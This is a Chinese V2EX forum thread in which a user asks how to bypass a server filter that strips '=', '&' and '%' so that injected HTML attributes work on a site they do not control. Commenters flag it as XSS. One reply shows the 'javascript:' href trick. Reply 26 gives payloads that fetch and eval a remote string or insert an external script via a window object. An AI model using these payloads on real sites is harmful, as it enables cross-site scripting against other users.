老哥们, html 标签过滤了=号&和%有没有可以直接写标签属性的方法? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
cyrbuzz
V2EX    程序员

老哥们, html 标签过滤了=号&和%有没有可以直接写标签属性的方法?

  •  
  •   cyrbuzz
    HuberTRoy 2022-02-15 12:11:50 +08:00 2757 次点击
    这是一个创建于 1337 天前的主题,其中的信息可能已经有所发展或是发生改变。

    例:<a href="xyz"></a>会过滤为<a href"xyz"></a>

    不用 js 的情况下还有办法能让 href 正常生效吗?

    27 条回复    2022-02-16 15:57:54 +08:00
    Huyoumnonos
        1
    Huyoumnonos  
       2022-02-15 16:01:24 +08:00 via Android
    啥意思,没读懂
    cyrbuzz
        2
    cyrbuzz  
    OP
       2022-02-15 16:18:44 +08:00
    @Huyoumnonos

    类似 XSS ,过滤了部分字符。
    gadfly3173
        3
    gadfly3173  
       2022-02-15 17:11:40 +08:00   2
    @cyrbuzz #2 你这是 AB 问题了吧 不如把完整的情况写出来。。。
    shew2356
        4
    shew2356  
       2022-02-15 17:20:19 +08:00
    =号过滤了,又不用 js ,那没办法~
    shew2356
        5
    shew2356  
       2022-02-15 17:22:23 +08:00   1
    @Huyoumnonos 楼主的意思是,可能用正则手段过滤了 html 中的 =,&,%等符号,然后想 a 链接正常生效,又不用 js 在过滤之后再渲染最佳~
    vanton
        6
    vanton  
       2022-02-15 17:23:29 +08:00
    禁用了 = 号?
    不用 js 那就没啥可能了。
    Zzm1203
        7
    Zzm1203  
       2022-02-15 17:24:19 +08:00
    你这个是怎么过滤的?正则替换吗?如果不用 js 好像没什么办法,并且您的表述确实不知道这到底是个什么,前提条件和最终效果都是什么样的,在什么样的一个执行机制下,还有为什么不能用 js 去做
    yinjunjian0
        8
    yinjunjian0  
       2022-02-15 17:33:22 +08:00
    过滤也是自己做的编译过滤的吧
    设置范围过滤就好了
    cyrbuzz
        9
    cyrbuzz  
    OP
       2022-02-15 17:58:53 +08:00
    @gadfly3173
    @Zzm1203
    @yinjunjian0

    emmm...例子是完整情况。

    我期望通过输入`<a href="123">123</a>`的方式让 a 标签生效,但现在我输入的`<a href="123">123</a>`会被后端过滤为`<a href"123">123</a>`,前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =,无法控制过滤规则。

    不能用 JS 是一个限制条件。

    @shew2356

    完全就是这个意思~。
    cyrbuzz
        10
    cyrbuzz  
    OP
       2022-02-15 17:59:17 +08:00
    @vanton

    大佬,不在挣扎一下吗= =。
    zcf0508
        11
    zcf0508  
       2022-02-15 18:16:10 +08:00 via Android
    @cyrbuzz 后端的锅让他们自己处理
    maplerecall
        12
    maplerecall  
       2022-02-15 18:18:02 +08:00
    没办法。

    如果你是开发者,这种不合理的过滤规则找后端改,因为即使能用 JS 处理也不合理,反而会导致容易被 XSS 。
    如果你是使用者,也许自定义标签属性这种行为本身就属于不被允许的,有需求只能找服务提供方去改。
    mxT52CRuqR6o5
        13
    mxT52CRuqR6o5  
       2022-02-15 18:20:26 +08:00
    不过滤百分之一万会有 xss 风险
    href 里写"Javascript:XXXX"就能执行任意 js 代码
    Xusually
        14
    Xusually  
       2022-02-15 18:21:37 +08:00   3
    这在我看来是“OP 在想办法绕过过滤去做 XSS”的问题
    cyrbuzz
        15
    cyrbuzz  
    OP
       2022-02-15 18:51:14 +08:00
    @Xusually

    是= =,只是并不为了攻击。
    cyrbuzz
        16
    cyrbuzz  
    OP
       2022-02-15 18:55:44 +08:00
    @mxT52CRuqR6o5

    是的,还是有 XSS 风险,只是我的目的不是攻击,也没有权限改其他人的网站。
    mxT52CRuqR6o5
        17
    mxT52CRuqR6o5  
       2022-02-15 19:11:50 +08:00 via Android
    @cyrbuzz 你不是恶意的,不代表其他人都不是恶意的啊,各种安全策略其实就是在防范可能出现的满怀恶意的人
    jin5354
        18
    jin5354  
       
    那你加个中间层,维护个 map 映射表,提交前自己把 =,% 这种符号替换成 __$0 ,__$1 之类的,获取时自己再替换回来。
    learningman
        19
    learningman  
       2022-02-15 22:20:19 +08:00
    ctf 刷题呢,盲猜有别的字符可以转成=号,sql 构造试试
    cyrbuzz
        20
    cyrbuzz  
    OP
       2022-02-16 10:10:41 +08:00
    @jin5354

    这样没有达到本来的目的,这样只对我自己有效,这样搞就变成一个只能打自己的反射 XSS 了。
    cyrbuzz
        21
    cyrbuzz  
    OP
       2022-02-16 10:12:42 +08:00
    @learningman

    哈哈哈,可惜不是刷题木有答案,就是想找这个可以转换成=的字符,知识到了边界找不到了= =。
    jin5354
        22
    jin5354  
       2022-02-16 12:45:01 +08:00
    @cyrbuzz 网站不是你的,你还想让 XSS 对所有人生效,你这不是攻击是啥
    cyrbuzz
        23
    cyrbuzz  
    OP
       2022-02-16 14:17:16 +08:00
    @jin5354

    这还是有点不一样吧,并没有过滤<>/,script ,要是想攻击我直接插一个外部 JS 就完事了,我还用得着绕个大圈讲武德的硬写 HTML?
    lhstock
        24
    lhstock  
       2022-02-16 14:49:15 +08:00
    考虑下传输虚拟 DOM 对象( JSON )。然后前端转义为 xml
    wednesdayco
        25
    wednesdayco  
       2022-02-16 15:15:14 +08:00
    @cyrbuzz 没有=号你也插入不了外部 js 啊
    cyrbuzz
        26
    cyrbuzz  
    OP
       2022-02-16 15:55:41 +08:00
    @wednesdayco

    可以的,我想到的有两种:

    1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。

    2. 设置了请求策略的话可以借用 window 对象,`Object.assign(window, { xss: [] })`,这样就得到了一个可以存放任意变量的`window.xss`对象,然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`,就插入外部 js 了。
    cyrbuzz
        27
    cyrbuzz  
    OP
       2022-02-16 15:57:54 +08:00
    @lhstock

    解析不受控,老哥能否具体说说怎么做?
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     5592 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 34ms UTC 08:10 PVG 16:10 LAX 01:10 JFK 04:10
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86